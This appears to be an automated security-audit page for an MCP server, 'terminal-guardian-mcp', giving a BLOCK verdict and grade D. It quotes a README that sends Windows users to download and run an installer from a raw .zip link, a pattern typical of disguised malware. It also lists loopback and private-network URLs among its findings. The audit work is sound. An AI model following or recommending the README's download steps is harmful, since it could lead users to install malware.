terminal-guardian-mcpBLOCK
Provide secure, sandboxed terminal access for AI assistants using the Model Context Protocol.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://github.com/Licentious-underframe246/terminal-guardian-mcp/raw/refs/heads/main/docs/assets/mcp-guardian-terminal-1.3.zip)
🎯 Purpose
Terminal Guardian helps you use AI tools in your computer terminal. It checks your commands for risks before they run. This tool stops harmful actions and protects your files. It creates a safe workspace for your AI assistant.
💻 What this tool does
Many AI tools connect to your computer terminal. This allows the AI to change your files or delete data. Terminal Guardian acts as a filter. It watches what the AI tries to do and blocks dangerous commands. It logs every action so you can review what happened later. It also uses a sandbox to trap risky processes.
📥 How to get started
You need a Windows computer to use this application. Visit the page below to get the software.
Download the application installer here
Follow these steps to set up the software:
- Click the link above to reach the release page.
- Find the file ending in .exe under the latest version.
- Click the file to start your download.
- Open the folder where you saved the file.
- Double-click the file to start the installation.
- Follow the instructions on your screen.
⚙️ System settings
Your computer needs to meet these basic standards to run the guardian:
- Operating System: Windows 10 or Windows 11.
- Memory: 4 gigabytes of RAM or more.
- Storage: At least 200 megabytes of free space.
- Internet: An active connection for AI communication.
🛡️ Checking your safety
The guardian runs in the background. You see a small icon in your taskbar once it starts. This icon shows the status of your terminal.
- Green: The guardian is active and protecting your system.
- Yellow: The software
1fea5530b72dOBSERVED · 2026-10-11Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control.
claude mcp add terminal-guardian-mcp -- npx -y [email protected]
{
"mcpServers": {
"terminal-guardian-mcp": {
"command": "npx",
"args": [
"-y",
"[email protected]"
]
}
}
}Exposed tools (18)
14 read · 3 write · 1 destructive. Blast radius: 1 tool can delete or overwrite — an agent that can be talked into calling a tool can be talked into calling this one.
| Tool | Risk | Description |
|---|---|---|
analyze_command | read | Analyze a shell command for safety risks without executing it. Returns risk level (SAFE/WARNING/DANGEROUS/BLOCKED), reasons, and recommendations. |
dns_lookup | read | Resolve a hostname to IP addresses using DNS. |
docker_exec | write | Execute a command inside a running Docker container. Requires confirmed: true. Output capped at 512KB. |
docker_logs | read | Retrieve logs from a Docker container. |
docker_ps | read | List Docker containers with their status, image, and port information. |
docker_stats | read | Get real-time resource usage statistics for a Docker container. |
get_env | read | Read environment variables with automatic secret masking. Secrets (tokens, passwords, keys) are shown as masked values like |
git_diff | read | Show Git diff for working tree or staged changes. |
git_log | write | Show Git commit history with author, date, and message. |
git_status | read | Get the current Git repository status including staged, unstaged, and untracked files. |
http_request | read | Make an HTTP/HTTPS request and return status, headers, and body. Only http:// and https:// allowed. Response body capped at 512KB. |
kill_process | destructive | Terminate a process by PID. Uses SIGTERM by default (graceful). SIGKILL requires confirmed=true. System processes are protected. |
list_files | read | List files and directories within the workspace. Access is restricted to allowed paths. |
list_processes | read | List running system processes with CPU, memory usage, and command info. Supports filtering by name and sorting. |
ping | read | Ping a host to check reachability and measure round-trip latency. Private/loopback addresses are blocked by default. |
read_file | read | Read the contents of a file within the workspace. Access is restricted to allowed paths and file size limits. |
run_command | write | Execute a shell command in a secure sandboxed environment with risk analysis, timeout enforcement, and output capture. Commands are analyzed for safety before execution. |
search_files | read | Search for text across files in the workspace. Returns matching lines with context. |
Trust audit
BLOCKgrade D · trust 69/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | PASS |
| L2 | Instruction surface (what it tells the agent) | FAIL |
| L3 | Class-specific surface | WARN |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (2 observation(s))
- Network
- declared (1 observation(s))
- Shell
- declared (5 observation(s))
- Dependencies
- not all pinned
- Secrets in source
- none-found
Findings (8)
Read environment variables with automatic secret masking. Secrets (tokens, passwords, keys) are shown as masked values like
terminal-guardian-mcp-1.0.0.tgz
terminal-guardian-mcp-1.0.2.tgz
kill_process
mcp-guardian-terminal-1.3.zip
'http://127.0.0.1/',
'https://192.168.1.1/admin',
@modelcontextprotocol/sdk, dockerode, glob, pino, pino-pretty, terminal-guardian-mcp, zod, @types/dockerode
Gates applied: no_behavioural_pass.
1fea5530b72dfull audit observations/trust-audit/mcp-server/licentious-underframe246__terminal-guardian-mcp.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | 1fea5530b72d | BLOCK | D | 69 | first audit |
Questions
What is the terminal-guardian-mcp MCP server?
Provide secure, sandboxed terminal access for AI assistants using the Model Context Protocol.
What tools does terminal-guardian-mcp expose?
18 in total: 14 read-only, 3 that write, and 1 that can delete or overwrite (kill_process). Every one is listed on this page with its risk.
Is terminal-guardian-mcp safe to connect to an agent?
No — not without reading the findings first. The audit graded it D (69/100) and found 1 critical or high issue in the source. Each one is listed on this page with the file and line it is on. Separately from the audit: 1 of its tools can destroy data, so scope the token you give it to what you actually need.
What credentials does terminal-guardian-mcp need?
No credential environment variables were found in its source, so it appears to need none.
How does terminal-guardian-mcp run?
It speaks stdio, so it runs as a local process your client starts. It is published on npm as terminal-guardian-mcp at 1.2.0.
How current is this page?
The grade is for one exact copy of the source (1fea5530b72d), read on 2026-10-11. The repository is watched and re-audited when it changes.